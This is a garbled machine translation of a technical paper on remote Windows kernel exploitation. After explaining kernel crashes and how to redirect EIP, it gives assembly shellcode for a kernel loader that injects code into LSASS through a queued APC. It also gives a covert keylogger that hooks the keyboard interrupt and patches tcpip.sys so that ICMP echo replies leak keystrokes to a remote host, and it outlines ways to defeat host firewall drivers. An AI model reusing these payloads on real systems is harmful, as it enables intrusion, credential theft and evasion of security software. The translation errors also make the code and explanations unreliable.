Author: Barnaby Jack
Translation: Polaris 2003
Email: zhangjingsheng_nbu@yahoo.com.cn
Link: http://hi.baidu.com/wwwanq/
Core Region and user Region
The i386 system supports four access permissions, that is, the level of privilege. Windows NT uses two of these permissions so that the NT operating system can run in a system that does not fully support these four levels of privileges.
User RegionCodeFor example, ApplicationProgramAnd system services run at three levels. User-mode processes can only access the 2 billion-byte memory allocated to them, and user code can be switched by pages and context.
The core-level code runs at level 0, and the hardware abstraction layer, device drivers, Io, memory management, and graphical interfaces all run at level 0. Code executed at level 0 has all the privileges of the system during the runtime, and can access all the memory and use privileged commands.
Native API
Due to the design, the user mode process cannot arbitrarily switch the permission registration, this function will involve the overall Windows NT security model. Of course, this security model consists of multiple periods.
Sometimes user-State jobs cannot be completed without the core-level functions, which is why native APIs are introduced. Native APIs are non-documented internal function sets and run in kernel mode. Native APIS exist to provide some ways to securely call kernel-mode services in user mode.
A user application can call the native API exported by NTDLL. dll. A large number of functions exported by NTDLL. dll are used to encapsulate the corresponding kernel functions. If you disassemble a function, you will find that the result is similar to the following:
Windows 2000:
MoV eax, 0x0000002f
Lea edX, [esp + 04]
Int 0x2e
Each native API exported by NTDLL can be decompiled into a code segment (stub) that can switch the execution environment to the kernel mode ). first, the register loads an index value pointing to the system service table, and then accesses the required function at the corresponding offset position of ntoskrnl.
Windows XP:
MoV eax, 0x0000002f
MoV edX, 7ffe0300
Call edX
At offset 0x7ffe0300:
MoV edX, ESP
Sysenter
RET
If your configuration is Pentium II or higher, the situation may be somewhat different in Windows XP. Windows XP uses the sysenter/sysexit command pair to switch the kernel mode to the user mode, which makes it difficult to create a shell code and will be explained in detail later.
To successfully create shell code in kernel mode, you must forget all user-level APIs and only use native functions.
API. For more information about native APIs, see the Windows NT/2000 native API
Referce.
The essence of blue screen
When you find a vulnerability and send data packets to a remote system, there is a blue screen problem. To successfully inject a kernel-level vulnerability, you must first understand the principle of "Blue Screen of Death.
When you see bsod, this means that the native function kebugcheckex is called. This error can be caused in two cases:
1. Abnormal calls from the kernel
2. Call kebugcheckex directly by the error detection mechanism
The kernel exception chain processing mechanism is as follows:
When an exception occurs, the kernel obtains control through the IDT (Interrupt Descriptor Table) function entry (kitrapxx. These functions constitute a level 1 trap handler (trap
Handler), the interrupt handler may handle the exception independently, or pass the exception to the next exception handler, or if the exception cannot be handled, directly call
Kebugcheckex.
In either case, to understand the cause and location of the exception, we need to get a trap pair (trap
Frame ). The trap register is a structure similar to the context. With this structure, the status of all registers and the abnormal address pointed by the instruction register can be obtained. I prefer to use
The SoftICE debugger of compuware/numware is used to complete all the work. However, windbg provides better structure recognition capability when debugging the trap token. If you only use
SoftICE, I must manually locate previous stack parameters.
If your computer has set the memory dump function for the blue screen, the default storage path for this file is % SystemRoot %/memory. dmp. Load windbg and select "hit
Open crash dump "loads the saved files. The following is an example of using the trap handler to directly call kebugcheckex.
After loading the memory dump file, windbg displays the following:
Windbg shows that kebugcheckex is called by the self-trapping program kitrapoe and the trap token address is 0x8054199c. Now we use the "trap address" command to display the content of the trap token.
Now we can see the status of all registers when an exception is thrown, and some memory areas can also be displayed. The value of the instruction register is 0x41414141, indicating that it is in the user region. Now we can change the execution process as needed.
In this case, the data is located by the ESP register:
Now, we can use the offset values such as jmp esp, call ESP, push ESP/ret to replace 0x4141414141 for execution process redirection. We can use any standard overflow technology to reproduce the vulnerability overflow.
If kebugcheckex is triggered by the exception handling mechanism, the trap Delimiter is passed to the kidispatchexception as the third parameter. In this case, you need to pass the address of the third parameter to the self-trap command.
When the process is redirected to an offset address, the offset address must be a static memory address (that is, the address in the memory remains unchanged ).
Shell code example
The first shell code example is "kernel loader", which allows you to insert code into any user area and perform the code safely, this is convenient for executing remote shell code and any user-level shell code.
The second example is pure kernel. This example creates a user keyboard interrupt handler to capture all keyboard input messages. Then use shell code
Tcpip. sys ICMP handler to allow the keyboard buffer to pass through ICMP
The echo request is returned to the remote system. This code is very small and uses a small number of API functions. To fully understand the following example, I copied the correspondingSource code.
The "kernel Loader"
There are many technologies that can switch the code from the kernel state to the user State and execute it. For example, you can change the EIP of the thread being executed, let it point to its own code-if this technology is used, running processes will destroy themselves.
You can use the rtlcreateuserthread and rtlcreateuserprocess functions in ntoskrnl to create
SMSs. EXE (the only process without a parent process, which is directly created by the kernel ). However, there are two problems: first, they are not exporting functions; second, they are a bigger problem.
In the ntoskrnl init section, this means that the two functions have been executed before the process is executed. Therefore, you need to remap ntoskrnl and initialize some global variables.
(_ Mmhighestuseraddress and _ ntglobalflag), you also need to find the first address of the function.
Another feasible method is to create a remote thread in the user domain process and execute the thread directly. Firew0rker in hisArticleSpeaking of these: http://www.phrack.org/phrack/62/p62-0x06_Kernel_Mode_Backdoors_for_Windows_NT.txt
Unfortunately, this method is also flawed. When executing user-level code, the API function CreateProcess may fail because the CSRSS subsystem must be notified. You need to obtain workund und again and create a new context structure in the user-level shell code.
To keep Shell
The Code should be as small as possible, and the preceding workaround is not a feasible option to insert code into any user domain without any changes. Because this method is the same
Using the export function of NTDLL will cause certain problems in systems other than Windows 2000. Windows
2000 The ox2e interrupt can be used to implement switching between Level 3 and level 0, which can be safely executed at level 3 or level 0.
However, a problem occurs in Windows XP.
XP uses sysenter and sysexit command pairs to implement switching between level 0 and Level 3. If you call the NTDLL export function directly in the kernel, the blue screen is approaching. To understand
To solve this problem, it is necessary to query additional code for the ntoskrnl function in the system service table. I decided to use asynchronous procedure
To execute the shell code of the user domain. This method only uses the function directly exported by ntoskrnl.
When an alarm Wait Status (alertable wait
State) "to use APC in the user thread. This function must be executed immediately. The thread that is in the "alarm waiting status" may be because sleepex is called,
Waitforsingleobjectex,
Functions such as signalobjectandwait and msgwaitformultipleobjectsex set alertableflag to true.
This method requires the least number of API calls and is relatively reliable.
All the functions we will use are exported by nooskrnl. The first step is to manually obtain the base address of ntoskrnl.
"Mid-Delta" technology: first obtain a pointer pointing to the ntoskrnl address space, and then decrease until the Pointer Points to the executable file sign "MZ. To get a point
Ntoskrnl address space pointer, We can first obtain the first entry address of the Interrupt Descriptor Table (IDT), because the address usually points to
1.
The code below is to access the IDT to get a memory pointer, and then find the base address by decreasing the pointer.
MoV ESI, dword ptr ds: [0ffdff038h]; get IDT address
Lodsd
CDQ
Lodsd; get pointer into ntoskrnl
@ Base_loop:
Dec eax
Cmp dword ptr [eax], 00905a4dh; detect the "MZ" mark
Jnz @ base_loop
Generally, the sidt command is used to obtain the IDT base address. Because the IDT is also pointed by the pointer of 0xffdff038 address, I can directly access the IDT address, which can also be reduced
The number of bytes. Maybe you will notice that the above Code does not get the correct IDT entry address, we just get the entry address's high-text part, this is because the lower part's area range is 0-
0 xFFFF, which is ignored and still in the ntoskrnl memory address space.
Hash_table:
DW 063dfh; "pslookupprocessbyprocessid" _ pslookupprocessbyprocessid equ [EBX]
DW 0df10h; "kedelayexecutionthread" _ kedelayexecutionthread equ [EBX + 4]
DW 0f807h; "exallocatepool" _ exallocatepool equ [EBX + 8]
DW 057d2h; "zwyieldexecution" _ keyieldexecution equ [EBX + 12]
DW 07b23h; "keinitializeapc" _ keinitializeapc equ [EBX + 16]
DW 09dd1h; "keinsertqueueapc" _ keinsertqueueapc equ [EBX + 20]
Hash_table_end:
Next, we can create a hash table. Each required function has a long hash table item. Function Name string in Win32 shell
Code usually occupies a large amount of space, so it is more reasonable to use the hash mechanism. Each function pointer is stored in a table, and can be stored by Shell
Code is accessed through the EBX register.
Next we will execute the standard "getprocaddress", which will analyze the export table of ntoskrnl and obtain the entry address of the corresponding function. The hash table here is a bit special, just for export
Each byte of the function name performs the XOR/ror operation. I use a long-character hash table instead of a two-character long hash table to minimize the length of shell code.
Once the entry address of all the functions to be used is obtained, the next task is to allocate a new memory block for storing Shell
Code. Because the Code also resides on the stack, you must copy the code to the new memory block. Otherwise, the next kernel function will overwrite the large area, especially when our request reduces IRQL.
(Interrupt request level.
We pass nonpagedpool as a parameter to exallocatepool, then copy the shell code to the non-paged area, and then simply execute a JMP command to this memory area. Now, all the code can be safely executed without being affected.
When injecting drivers, we must be aware of the current IRQL. IRQL is the current hardware priority of a specified kernel program. Many kernel programs request IRQL
Passive (0 ). If it runs at dispatch (2) level (used for program scheduling and latency Process calling), IRQL must be dropped to passive.
This is just a simple task. You only need to call the export function kelowerirql of Hal and use 0 (passive) as the parameter.
Now we need to bind the user domain code to the process, and we must first get the eprocess structure pointer, each process has a corresponding eprocess structure. For all the structures of this article
More information can be obtained through the dump struct in windbg (for example, DT
NT! _ Eprocess ). The function we want to use requires the eprocess offset address. If we can get a pointer to all eprocess structures, we can traverse
Has a structure to get all the current active processes.
Generally, you can call psgetcurrentprocess to obtain the first eprocess structure. Unfortunately, when a remote driver is injected, we may
Injected into a process in the "Waiting" status, the "Waiting" process does not return a valid process control block. I used pslookupprocessbyprocessid to replace,
The PID of the "System" process is used as the parameter. In Windows XP, this value is 4, while in Windows 2000, this value is 8.
Lea EBP, [edi-4]
Push EBP
Push 04
Call dword ptr _ pslookupprocessbyprocessid; obtain the system eprocess
MoV eax, [EBP]; get the system eprocess structure pointer
The first eprocess structure is obtained. Now we can access all active processes. Although I chose to inject code into the LSASS address space, all running system processes are suitable.
Target. To access LSASS, The eprocess and activeprocesslinks point to each entry address in a circular manner and compare it with the LSASS Module name.
Relatively.
MoV Cl, ep_activeprocesslinks; offset to activeprocesslinks
Add eax, ECx; get address of eprocess + activeprocesslinks
@ Eproc_loop:
MoV eax, [eax]; get next eprocess struct
MoV Cl, ep_modulename
Cmp dword ptr [eax + ECx], "SASL"; is it LSASS?
Jnz @ eproc_loop
Once you locate the LSASS process, you can subtract the activeprocesslinks offset value to get the offset value between LSASS and the first eprocess structure.
The next step is to set the shell
Copy the code to the target memory. At first, I plan to store the code in peb. In the past, peb was always mapped to 0x7ffdf000, but in XP
In SP2, The peing addresses of peb are random. Although you can find peb through 0xffdff000-> 0x18-> 0x30, we have a better choice: store the code
To the kernel-user-shared memory area, usually known as shareduserdata. 0xffdf0000 is a writable memory area where we can save our code. Inside
The storage region is mapped from the user domain marked as read-only 0x7ffe0000, which is the same on all platforms, so this is a good choice.
Since the memory in this region is readable for all processes, it is necessary to switch the address space to the target process and write the code directly from the kernel to 0xffdf0000 + 0x800. When
When queuing a user mode APC, 0x7ffe0000 + 0x800 is used as the parameter.
Call @ get_eip2
@ Get_eip2:
Pop ESI
MoV CX, shell code-$ + 1
Add ESI, ECx; get shell code address
MoV CX, (shell code_end-shell Code); shell code size
MoV dword ptr [EDI], smem_addr; 0xffdf0000 + 0x800
Push EDI
MoV EDI, [EDI]; copy shell code to shareduserdata
Rep movsb
Pop EDI
Now you need to find a thread that can execute the APC function. APC can be the kernel mode APC or the user mode APC. Here, a user mode APC is queued. If the thread to be passed does not have
If the status is "alarm waiting", the user mode APC will not be called. As I mentioned earlier, a thread can call sleepex,
Signalobjectandwait, msgwaitformultipleobjectsex and
Waitforsingleobjectex sets the balertable to true to enter this state. Find an available thread to access the ETHREAD OF THE PROCESS
Pointer, and traverse each thread until we find the thread we need.
MoV edX, [EDI + 16]; pointer to eprocess
MoV ECx, [edX + et_threadlisthead]; get ETHREAD pointer
@ Find_delay:
MoV ECx, [ECx]; get next thread
CMP byte PTR [ecx-ET_ThreadState], 04 H; thread in delayexecution?
Jnz @ find_delay
The above code first obtains the lsass ethread structure pointer through threadlisthead list_entry in the eprocess structure, and then detects the thread status mark. Once the target thread is found, we set EBP to point to the ktread structure. Next we need the initial APC program.
XOR edX, EDX
Push edX
Push 01; push Processor
Push dword ptr [EDI]; push EIP of shell code (0x7ffe0000 + 0x800)
Push edX; push null
Push offset kroutine; push kernel routine
Push edX; push null
Push EBP; push kthread
Push ESI; push APC object
Call dword ptr _ keinitializeapc; initialize APC
Let's set the user mode to Shell
The Code (stored in shareduserdata) EIP is used as the keinitializeapc parameter, and a kernel program that will be called must be passed. We do not need
This program does anything, just need to direct the returned command to Shell
Code. The kthread structure of this thread is also necessary for executing our APC program. The APC object will be returned by the ESI register in the form of pointer variables. Now we can
The APC program is inserted into the APC queue of the target thread.
Push eax; push 0
Push dword ptr [EDI + 4]; System ARG
Push dword ptr [EDI + 8]; System ARG
Push ESI; APC object
Call dword ptr _ keinsertqueueapc
The last function is keinsertqueueapc used to send APC. In the above Code, eax is 0, and the two system parameters are pointer to the empty address. Of course, the APC object previously returned by keinitializeapc is also passed.
Finally, in order to prevent the newly initialized load Thread from returning and displaying a blue screen, pass 0x80000000: 00000000 to the kedelayexecutionthread to sleep the thread.
Push offset large_int
Push false
Push kernelmode
Call dword ptr _ kedelayexecutionthread
If, by accident, we enter the "idle" address space, this call will fail. The solution to this problem is to stop executing the line city and continue the loop. The code snippets are as follows:
@ Yield_loop:
Call dword ptr _ keyieldexecution
JMP @ yield_loop
Fortunately, the user mode thread should still be safely executed in the system process you selected. If you call exitthread to exit the user code after completing the APC function, the system is likely to be stable.
The ICMP patching interrupt hooking key-logger
When I chatted with Derek soeder from eeye, we discussed which useful shells are completely composed of kernel-level code.
Code. One idea is kernel-level key-logger, which can return the keyboard buffer to a remote thread. Obviously, this is a shell
Code, creating a complete keyboard filter and communication pipeline may be much beyond the acceptable code length range, so it is necessary to take shortcuts.
We use the DOS-era technology to replace the keyboard interrupt handler entry with our own code entry to capture scan code, rather than binding a keyboard filter to capture keyboard messages. I decided to modify
The ICMP processing body of the tcpip. SYS driver, instead of returning keyboard messages to remote users through the self-created pipeline. Patch modified ICMP
Echo processing body. Use our own Keyboard Buffer to replace the original buffer. When an ICMP echo request is sent to a remote system, the captured buttons are returned.
Step 1: Replace the IDT entry of the keyboard handler with the entry of our own interrupt handler. Now, Windows XP and 2000
SP4 has an IRQ interrupt vector table stored in the Hal memory area. We can easily search for neighboring flag bytes and query the interrupt vectors corresponding to irq1 (Keyboard IRQ. Early services
In the package, for example, Window 2000 sp0, this table does not exist, but the interrupted vector table is static, rq1 = Vector 0x31, irq2 =
Vector 0x32 and so on. The following code first attempts to locate the vector table. If the positioning fails, the interrupt vector 0x31 will be used directly.
MoV ESI, dword ptr ds: [0ffdff038h]; get the IDT base address
Lodsd
CDQ
Lodsd; get the ntoskrnl address space pointer
@ Base_loop:
Dec eax
Cmp dword ptr [eax], 00905a4dh; MZ mark Detection
Jnz @ base_loop
Jecxz @ hal_base; Save the ntoskrnl base address to eax
Xchg edX, eax
MoV eax, [edX + 590 H]; get the pointer of A Hal Function
XOR ECx, ECx
JMP @ base_loop; find the base address of Hal
@ Hal_base:
MoV EDI and eax; Save the base address of Hal to EDI
MoV EBP, EDX; Save the ntoskrnl base address to EBP
ClD
MoV eax, 41413d00h; flag byte "= AA/0"
XOR ECx, ECx
Dec CX
SHR ECx, 4
Repnz scasd; get the Offset Value in the IDT table
Or ECX, ECx
JZ @ no_table
Lea EDI, [EDI + 01ch]; get the pointer of the phase table
Push EDI
INC eax; IRQ 1
Repnz scasb
Pop ESI
Sub EDI, ESI
Dec EDI; get keyboard interrupt
JMP @ table_ OK
@ No_table:
MoV EDI, 031 h; if the phase table does not exist, use static values
@ Table_ OK:
Push edX
Sidt [esp-2]; get IDT
Pop edX
Lea ESI, [edX + EDI * 8 + 4]; entry to the keyboard handling body in IDT
STD
Lodsd
Lodsw; eax is the entry address of the keyboard processing body
MoV dword ptr [handler_old], eax; save
First, locate the base addresses of nosokrnl and Hal. dll, and then search for the "= AA/0" mark in the Hal address space, which identifies the trql-
Start of TPR conversion table. If this identifier is found, we directly set the interrupt vector to 0x31. If the IRQ table is not found, the required offset value is at 0xc1h of the irq table. Then we
Locate the vector corresponding to the keyboard irq1 and use the sidt command to obtain the IDT base address. The formula for getting the entry of the interrupt vector IDT is as follows:
Idt_base + int_vector * 8
Obtain the address of the original interrupt handler from the IDT and store it at the starting position of our handler. Therefore, when our handler completes a specific function, it can be returned to the original handler. The following code replaces the original handler entry with the custom interrupt handler entry in IDT:
ClD
MoV eax, @ handler_new
CLI; block interruptions when the entry address is changed
MoV [ESI + 2], ax; rewrite IDT entry with new entry address
SHR eax, 16
MoV [ESI + 8], ax
STI; resume allowable interrupt signal
Next we will call the exallocatepool to allocate a buffer for storing captured keyboard input. We also need to analyze the ntoskrnl
Psloadedmodulelist is used to locate the base address of tcpip. SYS. Unfortunately, psloadedmodulelist is not a public export function, so we need
You need to manually locate.
The mmgetsystemroutineaddress function exported by ntoskrnl uses this linked list.
To obtain the required pointer, we take the address of mmgetsystemroutineaddress as the parameter and manually locate psloadedmodulelist by incrementing the address.
MoV EDI, _ mmgetsystemroutineaddress
@ Mmgsra_scan:
INC EDI
MoV eax, [EDI]
Sub eax, EBP
Test eax, 0ffe00003h
Jnz @ mmgsra_scan
MoV EBX, [EDI]
Cmp ebx, [EDI + 5]; detects pointer of psloadedmodulelist
Je @ pslml_loop
Cmp ebx, [EDI + 6]
JNE @ mmgsra_scan
@ Pslml_loop:; find _ psloadedmodulelist
MoV EBX, [EBX]
MoV ESI, [EBX + 30 h]
MoV edX, 50435449 h; "ITCP", determine whether tcpip. SYS module?
Push 4
Pop ECx
@ Pslml_name_loop:
Lodsw
Ror edX, 8
Sub Al, DL
Je @ pslml_name_loop_cont
CMP Al, 20 h
@ Pslml_name_loop_cont:
Loopz @ pslml_name_loop
@ Pslml_loop_cont:
Jnz @ pslml_loop
MoV EDI, [EBX + 18 h]; base address of tcpip. SYS module
The above code first traverses the mmgetsystemroutineaddress program to search for the pointer of the linked list. The structure of the system Referer chain table is as follows:
+ 00 h list_entry
+ 08 h ???
+ 18 h lpvoid Module Base Address
+ 1ch lpvoid PTR to entry point function
+ 20 h DWORD size of image in bytes
+ 24 h unicode_string full path and file name of Module
+ 2ch unicode_string module File Name Only
...
Next, analyze the linked list to obtain the base address of the tcpip. SYS module.
The code is more like the software crack than the network shell code because we are about to modify the TCPIP driver, which means we can accept keyboard input captured by the remote system. There are many ways to change the ICMP echo handler as a communication channel.
In sendecho of tcpip. sys, we will use shell code. The complete disassembly code is too long. The following is a code snippet of the relevant part:
From the disassembly code above, [edX + 8] is a pointer to the icmp echo buffer, so you can modify the code above to change the [edX + 8] pointer to our Keyboard Buffer, this is just an easy task.
MoV eax, 428be85dh; byte sequence in the tcpip. sys address space
@ Find_patch:
INC EDI
Cmp dword ptr [EDI], eax
Jnz @ find_patch
Add EDI, 5
MoV Al, 68 h
Stosb; store "push"
MoV eax, EDX; edX points to the Keyboard Buffer
Stosd; Save the keyboard buffer pointer
MoV eax, 08428f90h; "Pop [edX + 08 h]/NOP"
Stosd
You can modify the following code:
Push keybuffer_offset
Pop [edX + 8]
NOP
When an ICMP echo request is sent to a remote system, the feedback packet includes captured keyboard input, it is easy to replace the interrupt handler-when there is a button event, our program will be called, then read the Keyboard Scan code from the keyboard break and save it to the key buffer.
@ Handler_new:
Push 0 deadbeefh; Save the current handler pointer
Handler_old equ $-4
Pushfd
Pushad
XOR eax, eax
Lea EDI, keybuf; rewrite with the allocated buffer address
Kb_patch equ $-4
In Al, 60 h; obtain the Keyboard Scan code
Test Al, Al; no scan code?
JZ @ done
Push EDI
MoV ECx, [EDI]
Lea EDI, [EDI + ECx + 4]
Stosb; store code in buffer
INC ECx
Pop EDI
Cmp cx and 1023
Jnz @ done
XOR ECx, ECx
@ Done:
MoV [EDI], ECx
Popad
Popfd
DB 0c3h; returns to the original processing program
Once a key message is generated, the above Code is called, and the initial interrupt handler handle (which has been rewritten) is pushed into the stack. Read the current scan code from the 0x60 fracture and save it to the allocated buffer zone. This buffer can save 0x3ff keyboard input. If there is a scan code later, it will overwrite the previous part.
Thoughts on injecting fire wall drivers
Many issues need to be considered when a kernel-level vulnerability is injected into the firewall driver. The vulnerability we will demonstrate is caused by the DNS feedback process.
Processed by symdns. sys. If the DNS processing process fails to return, socket cannot be used for communication. Before studying this problem, we must first understand the communication machines at multiple protocol layers.
.
The following is a summary of the network layer:
1 ). Network Driver Interface Specification Layer)
NDIS provides a path for transmission from a physical device to a network
The NDIS driver directly deals with network adapters.
2 ). Network Protocol Layer)
Here is TCP/IP. (tcpip. sys)
3 ). Transport Driver Interface Layer)
TDI provides interfaces for network protocols, client protocols, and network APIs such as Winsock.
4 ). Network API Layer)
Network application interfaces, such as WinSock, provide programming interfaces for network applications.
All host-based firewall restrictions work in kernel mode. Generally, you can filter drivers by using TDI or NDIS hooks. Although I have never seen such a fire wall product, it is also possible to hook up the AFD interface.
The problem we are facing: symdns. sys must return to the TDI filter driver symtdi. SYS. Unfortunately, once we execute our shell code, the communication will not end. Here are some solutions:
(A) "clean" returns
The Clean return includes returning from shell code without bsod, and including continuing normal communication, which is difficult to implement. The attacked stack is not in the optimal status, so it must be returned to the original stack rollback status.
(B) uninstall the filter driver of TDI or NDIS
Uninstall the filter driver is another feasible method. We can easily call the uninstall program of the driver, which is equivalent to calling from the DriverEntry Program
Driverobject-> driverunload. The offset address of the driver can be obtained through driver_object of the target driver.
If the driverunload member driver_object is empty, it indicates that the uninstall program of the target driver does not exist. Driver_object can be
The device_object parameter can be referenced by passing the driver name as a parameter to iogetdeviceobjectpointer.
Device_object pointer.
(C) detach or delete a Driver (detach/Delete the devices)
The driver can call ioattachdevice or ioattachdevicetodevicestack
If you attach a device object to another device, the request to the original device is first sent to the device immediately. We can pass device_object as a parameter
Iodetachdevice to separate the driver. You can pass device_object as a parameter to iodeletedevice to remove the device.